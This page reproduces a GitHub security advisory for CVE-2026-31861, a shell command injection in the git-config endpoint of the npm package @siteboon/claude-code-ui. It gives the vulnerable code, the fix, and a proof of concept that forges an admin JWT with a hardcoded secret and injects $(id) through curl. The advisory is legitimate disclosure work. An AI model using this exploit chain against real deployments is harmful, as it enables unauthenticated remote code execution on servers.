GHSA-7FV4-FMMC-86G2

Vulnerability from github – Published: 2026-03-10 23:57 – Updated: 2026-03-11 20:45
VLAI?
Summary
@siteboon/claude-code-ui is Vulnerable to Shell Command Injection in Git Routes
Details

Shell Command Injection in User Git Config Endpoint

Field Value
Severity High
CVSS 3.1 8.8 (High) — when chained with VULN-01
CWE CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Attack Vector Network
Authentication JWT required (bypassable via VULN-01)
Affected Files server/routes/user.js (lines 58-59)

Description

The /api/user/git-config endpoint constructs shell commands by interpolating user-supplied gitName and gitEmail values into command strings passed to child_process.exec(). The input is placed within double quotes and only " is escaped, but backticks (`), $() command substitution, and \ sequences are all interpreted within double-quoted strings in bash.

This allows authenticated attackers to execute arbitrary OS commands via the git configuration endpoint.

Root Cause

server/routes/user.js lines 58-59:

await execAsync(`git config --global user.name "${gitName.replace(/"/g, '\\"')}"`);
await execAsync(`git config --global user.email "${gitEmail.replace(/"/g, '\\"')}"`);

Only " is escaped. However, within double-quoted bash strings, the following are still interpreted:

  • `malicious_command` — backtick execution
  • $(malicious_command) — subshell execution

Impact

  • Remote Code Execution (RCE) — arbitrary OS commands execute as the Node.js process user
  • The git config --global vector modifies the server-wide git configuration, affecting all git operations
  • When chained with VULN-01 (hardcoded JWT), this is fully unauthenticated RCE
  • Attacker can: read/write any file, install backdoors, pivot to other systems, exfiltrate data

Proof of Concept

# Step 1: Forge a JWT (see VULN-01)
TOKEN=$(python3 -c "import jwt; print(jwt.encode({'userId':1,'username':'admin'}, 'claude-ui-dev-secret-change-in-production', algorithm='HS256'))")

# Step 2: Inject via gitName using command substitution
curl -X POST "http://REDACTED:5173/api/user/git-config" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"gitName":"$(id)","gitEmail":"attacker@example.com"}'

The server executes:

git config --global user.name "$(id)"

Bash evaluates $(id) before passing it to git, executing the id command and setting the username to the output.

Remediation

Replace exec() with spawn() (array arguments, no shell):

// BEFORE (vulnerable):
await execAsync(`git config --global user.name "${gitName.replace(/"/g, '\\"')}"`);

// AFTER (safe):
await spawnAsync('git', ['config', '--global', 'user.name', gitName]);
await spawnAsync('git', ['config', '--global', 'user.email', gitEmail]);
Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.23.0"
      },
      "package": {
        "ecosystem": "npm",
        "name": "@siteboon/claude-code-ui"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.24.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-31861"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-10T23:57:23Z",
    "nvd_published_at": "2026-03-11T18:16:24Z",
    "severity": "HIGH"
  },
  "details": "# Shell Command Injection in User Git Config Endpoint\n\n| Field | Value |\n|-------|-------|\n| **Severity** | High |\n| **CVSS 3.1** | 8.8 (High) \u2014 when chained with VULN-01 |\n| **CWE** | CWE-78: Improper Neutralization of Special Elements used in an OS Command (\u0027OS Command Injection\u0027) |\n| **Attack Vector** | Network |\n| **Authentication** | JWT required (bypassable via VULN-01) |\n| **Affected Files** | `server/routes/user.js` (lines 58-59) |\n\n## Description\n\nThe `/api/user/git-config` endpoint constructs shell commands by interpolating user-supplied `gitName` and `gitEmail` values into command strings passed to `child_process.exec()`. The input is placed within double quotes and only `\"` is escaped, but backticks (`` ` ``), `$()` command substitution, and `\\` sequences are all interpreted within double-quoted strings in bash.\n\nThis allows authenticated attackers to execute arbitrary OS commands via the git configuration endpoint.\n\n## Root Cause\n\n`server/routes/user.js` lines 58-59:\n\n```javascript\nawait execAsync(`git config --global user.name \"${gitName.replace(/\"/g, \u0027\\\\\"\u0027)}\"`);\nawait execAsync(`git config --global user.email \"${gitEmail.replace(/\"/g, \u0027\\\\\"\u0027)}\"`);\n```\n\nOnly `\"` is escaped. However, within double-quoted bash strings, the following are still interpreted:\n\n- `` `malicious_command` `` \u2014 backtick execution\n- `$(malicious_command)` \u2014 subshell execution\n\n## Impact\n\n- **Remote Code Execution (RCE)** \u2014 arbitrary OS commands execute as the Node.js process user\n- The `git config --global` vector modifies the **server-wide** git configuration, affecting all git operations\n- When chained with VULN-01 (hardcoded JWT), this is fully **unauthenticated RCE**\n- Attacker can: read/write any file, install backdoors, pivot to other systems, exfiltrate data\n\n## Proof of Concept\n\n```bash\n# Step 1: Forge a JWT (see VULN-01)\nTOKEN=$(python3 -c \"import jwt; print(jwt.encode({\u0027userId\u0027:1,\u0027username\u0027:\u0027admin\u0027}, \u0027claude-ui-dev-secret-change-in-production\u0027, algorithm=\u0027HS256\u0027))\")\n\n# Step 2: Inject via gitName using command substitution\ncurl -X POST \"http://REDACTED:5173/api/user/git-config\" \\\n  -H \"Authorization: Bearer $TOKEN\" \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"gitName\":\"$(id)\",\"gitEmail\":\"attacker@example.com\"}\u0027\n```\n\nThe server executes:\n\n```\ngit config --global user.name \"$(id)\"\n```\n\nBash evaluates `$(id)` before passing it to git, executing the `id` command and setting the username to the output.\n\n## Remediation\n\nReplace `exec()` with `spawn()` (array arguments, no shell):\n\n```javascript\n// BEFORE (vulnerable):\nawait execAsync(`git config --global user.name \"${gitName.replace(/\"/g, \u0027\\\\\"\u0027)}\"`);\n\n// AFTER (safe):\nawait spawnAsync(\u0027git\u0027, [\u0027config\u0027, \u0027--global\u0027, \u0027user.name\u0027, gitName]);\nawait spawnAsync(\u0027git\u0027, [\u0027config\u0027, \u0027--global\u0027, \u0027user.email\u0027, gitEmail]);\n```",
  "id": "GHSA-7fv4-fmmc-86g2",
  "modified": "2026-03-11T20:45:18Z",
  "published": "2026-03-10T23:57:23Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/siteboon/claudecodeui/security/advisories/GHSA-7fv4-fmmc-86g2"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-31861"
    },
    {
      "type": "WEB",
      "url": "https://github.com/siteboon/claudecodeui/commit/86c33c1c0cb34176725a38f46960213714fc3e04"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/siteboon/claudecodeui"
    },
    {
      "type": "WEB",
      "url": "https://github.com/siteboon/claudecodeui/releases/tag/v1.24.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "@siteboon/claude-code-ui is Vulnerable to Shell Command Injection in Git Routes"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…